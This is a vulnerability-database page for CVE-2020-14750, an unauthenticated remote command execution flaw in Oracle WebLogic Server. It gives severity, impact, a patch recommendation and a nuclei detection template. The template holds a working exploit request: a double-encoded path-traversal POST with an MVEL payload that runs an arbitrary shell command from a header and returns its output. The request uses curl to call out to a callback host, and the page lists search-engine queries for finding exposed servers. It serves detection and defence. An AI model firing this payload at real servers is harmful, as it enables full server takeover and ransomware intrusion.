HexBrain

Browse / CVEs / CVE-2020-14750

CVE-2020-14750· oracle / fusion middleware

Oracle WebLogic Server - Remote Command Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity
9.8CVSS score
99.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server.

Fix

Apply the latest security patches provided by Oracle to mitigate this vulnerability.

How to confirm it

Send: @timeout: 10s
Positive when: contains in interactsh_protocol "dns" AND contains in header "ADMINCONSOLESESSION=" AND matches /<html><head></head><body>(.*)</body></html>/

Run it with nuclei: nuclei -id CVE-2020-14750 -u <target>

The full check
id: CVE-2020-14750

info:
  name: Oracle WebLogic Server - Remote Command Execution
  author: princechaddha,DhiyaneshDk
  severity: critical
  description: |
    Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server.
  remediation: |
    Apply the latest security patches provided by Oracle to mitigate this vulnerability.
  reference:
    - https://github.com/pprietosanchez/CVE-2020-14750
    - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14750
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14750
    - http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-14750
    epss-score: 0.99247
    epss-percentile: 0.99936
    cpe: cpe:2.3:a:oracle:fusion_middleware:10.3.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: oracle
    product: fusion_middleware
    shodan-query:
      - http.html:"Weblogic Application Server"
      - http.title:"weblogic"
      - http.html:"weblogic application server"
    fofa-query:
      - title="weblogic"
      - body="weblogic application server"
    google-query: intitle:"weblogic"
  tags: cve2020,cve,rce,oracle,weblogic,unauth,kev,packetstorm,vkev,vuln

http:
  - raw:
      - |
        @timeout: 10s
        POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        cmd: curl {{interactsh-url}}
        Content-Type: application/x-www-form-urlencoded

        _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
        weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
        java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
        field.setAccessible(true);
        Object obj = field.get(adapter);
        weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
        String cmd = req.getHeader("cmd");
        String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
        if (cmd != null) {
            String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
            weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
            res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
            res.getServletOutputStream().flush();
            res.getWriter().write("");
        }executeThread.interrupt();
        ");

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms DNS Interaction
        words:
          - "dns"

      - type: word
        part: header
        words:
          - "ADMINCONSOLESESSION="

      - type: regex
        part: body
        regex:
          - '<html><head></head><body>(.*)</body></html>'

References

Use this check only on systems you are authorised to test. Where the data comes from